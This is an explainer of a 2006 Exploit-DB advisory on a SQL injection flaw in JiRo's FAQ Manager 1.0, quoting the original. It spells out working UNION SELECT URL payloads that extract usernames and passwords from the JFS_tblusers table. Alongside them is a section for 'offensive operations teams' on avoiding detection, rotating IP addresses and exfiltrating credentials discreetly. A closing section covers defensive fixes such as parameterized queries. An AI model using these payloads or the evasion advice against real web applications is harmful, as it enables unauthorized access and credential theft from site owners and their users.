SQL Injection in JiRo's FAQ Manager 1.0: Extracting User Credentials

What this paper is

This paper describes a SQL injection vulnerability in JiRo's FAQ Manager version 1.0. Specifically, it details how an attacker can exploit the index.asp script to inject malicious SQL queries. The primary goal of the exploit shown is to extract user credentials (usernames and passwords) from the JFS_tblusers table.

Simple technical breakdown

The vulnerability lies in how the index.asp script handles user input for the tID parameter. When this parameter is not properly sanitized, an attacker can insert SQL commands within it. By using a UNION SELECT statement, the attacker can combine the results of their malicious query with the legitimate query that the application would normally execute. This allows them to retrieve data from other tables, such as the JFS_tblusers table, which contains sensitive information like uPassword and uName.

The exploit uses a technique where a negative tID value (e.g., -1) is provided. This is often done to ensure that the original query executed by the application returns no rows, making it easier for the attacker's injected UNION SELECT results to be displayed.

Complete code and payload walkthrough

The provided "code" is not actual executable code in the traditional sense, but rather a series of crafted URL parameters that exploit the vulnerability.

URL Structure:
http://[target]/[path]//index.asp?tID=[SQL]

Key Parameter:

• tID: This parameter is intended to receive an ID for a FAQ topic. However, it is vulnerable to SQL injection.

Exploit Examples:

1. //index.asp?tID=-1%20union%20select%200,uPassword,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200

   • Breakdown:
     • tID=-1: A negative value is used to likely cause the original query to return no results.
     • %20: This is the URL-encoded space character, used to separate SQL keywords and values.
     • union: This SQL keyword combines the result set of two or more SELECT statements.
     • select 0,uPassword,0,0,0,0,0,0,0,0,0,0,0,0: This part attempts to select specific columns.
       • 0: Placeholder values. The number of 0s and other selected columns must match the number of columns returned by the original query that tID would normally affect. The paper implies the original query returns at least 14 columns.
       • uPassword: This is the column likely containing user passwords.
     • from JFS_tblusers: Specifies the table to retrieve data from.
     • where no like 0: This condition is likely a placeholder or a way to ensure all rows are returned from JFS_tblusers without filtering, as no is probably not a valid column name or the condition is trivially true for all rows.

2. //index.asp?tID=-1%20union%20select%200,uName,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200

   • Breakdown:
     • This is very similar to the first example.
     • uName: This is the column likely containing user names. The exploit aims to extract usernames in this instance.

Mapping:

• tID parameter -> Input point for SQL injection.
• -1 -> Value to manipulate original query results.
• %20 -> URL-encoded space for SQL syntax.
• union select -> Core SQL injection technique to combine query results.
• 0 (multiple) -> Placeholder columns to match original query structure.
• uPassword -> Target column for password extraction.
• uName -> Target column for username extraction.
• JFS_tblusers -> Target table containing user credentials.
• where no like 0 -> Condition to retrieve all rows from the target table.

Payload/Shellcode:
There is no traditional shellcode or executable payload in this paper. The "payload" is the crafted SQL query itself, which is delivered via the URL. The output of the query (usernames and passwords) is expected to be displayed by the web application, either directly on the page or in an error message, depending on the application's configuration and error handling.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server is sufficient. No local access or elevated privileges on the server are required initially.
• Lab Preconditions:
  • A vulnerable instance of JiRo's FAQ Manager v1.0 installed on a web server (e.g., IIS with ASP support).
  • A database (likely Microsoft SQL Server, given the .asp extension and table naming conventions) configured for the FAQ Manager.
  • The JFS_tblusers table must exist and contain user data.
  • A web browser or an automated tool (like Burp Suite or sqlmap) capable of sending crafted HTTP requests.
• Tooling Assumptions:
  • Web proxy (e.g., Burp Suite) for intercepting and modifying requests.
  • SQL injection scanning tools (e.g., sqlmap) can automate the discovery and exploitation of this type of vulnerability.
  • A basic understanding of SQL syntax and URL encoding.
• Execution Pitfalls:
  • Column Count Mismatch: The number of columns in the UNION SELECT statement must exactly match the number of columns returned by the original query. If it doesn't, the query will likely fail with a SQL error. Determining the correct column count often requires trial and error or using techniques like ORDER BY clauses.
  • URL Encoding: Incorrect URL encoding of spaces (%20) or other special characters can break the query.
  • Database Specifics: While the paper implies a common SQL dialect, specific database configurations or versions might require minor syntax adjustments.
  • Web Application Firewall (WAF): Modern WAFs can detect and block common SQL injection patterns.
  • Application Logic: The application might not display raw SQL query results directly, making it harder to see the extracted data. Error messages might need to be triggered and analyzed.
• Tradecraft Considerations:
  • Reconnaissance: Identify the target application and its version. Look for common web vulnerabilities.
  • Enumeration: Use tools to probe for SQL injection vulnerabilities. Start with simple payloads and gradually increase complexity.
  • Data Exfiltration: Once credentials are found, consider how to exfiltrate them securely and discreetly.
  • Stealth: Avoid overly aggressive scanning that could trigger alerts. Use proxies and rotate IP addresses if necessary.
  • Documentation: Meticulously document all findings, including the exact payloads used and the data retrieved.

Where this was used and when

This vulnerability was published in November 2006. JiRo's FAQ Manager was likely a popular, albeit niche, web application at the time. Exploits of this nature were common in the mid-2000s as web application security practices were less mature. While the specific version is old, the underlying SQL injection technique is timeless and has been used against countless web applications since. It's highly unlikely this specific version is still widely deployed, but the principle of SQL injection remains a critical threat.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is paramount. All user-supplied input, especially data passed in URL parameters, form fields, or cookies, must be rigorously validated and sanitized before being used in database queries.
• Parameterized Queries (Prepared Statements): Use parameterized queries or prepared statements provided by the database API. This separates the SQL code from the user-supplied data, preventing the data from being interpreted as executable SQL.
• Least Privilege: Database accounts used by web applications should have the minimum necessary privileges. Avoid granting broad permissions like SELECT * on sensitive tables.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including SQL injection attempts. However, WAFs are a defense-in-depth measure, not a sole solution.
• Regular Patching and Updates: Keep all web applications, frameworks, and server software up to date with the latest security patches.
• Secure Coding Practices: Train developers on secure coding principles, including the dangers of SQL injection and how to prevent it.
• Error Handling: Configure applications to log detailed errors internally but display generic error messages to users. Avoid revealing database schema or query details in error messages.

ASCII visual (if applicable)

This exploit is a direct interaction with a web server and its database. A visual representation of the data flow is as follows:

+-----------------+      +-----------------+      +-----------------+
| Attacker's      |----->| Web Server      |----->| Database Server |
| Browser/Tool    |      | (index.asp)     |      | (JFS_tblusers)  |
+-----------------+      +-------+---------+      +-----------------+
                         ^       |
                         |       | (Malicious SQL Query via tID)
                         |       v
                         +-------+---------+
                         | Web Application |
                         | Logic           |
                         +-----------------+

Explanation:
The attacker crafts a URL with a malicious tID parameter. This request is sent to the web server. The index.asp script on the web server processes this request. Due to the lack of sanitization, the malicious SQL query embedded in tID is executed against the database server. The database returns the requested data (e.g., usernames and passwords) back to the web server, which then displays it to the attacker.

Source references

• Exploit-DB Paper: JiRos FAQ Manager 1.0 - 'index.asp' SQL Injection (Paper ID: 2836)
• URL: https://www.exploit-db.com/papers/2836
• Raw URL: https://www.exploit-db.com/raw/2836

Original Exploit-DB Content (Verbatim)

*******************************************************************************
# Title   :  JiRo´s FAQ Manager v1.0 (index.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(

*******************************************************************************

###http://[target]/[path]//index.asp?tID=[SQL]

Example:

//index.asp?tID=-1%20union%20select%200,uPassword,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200
//index.asp?tID=-1%20union%20select%200,uName,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-23]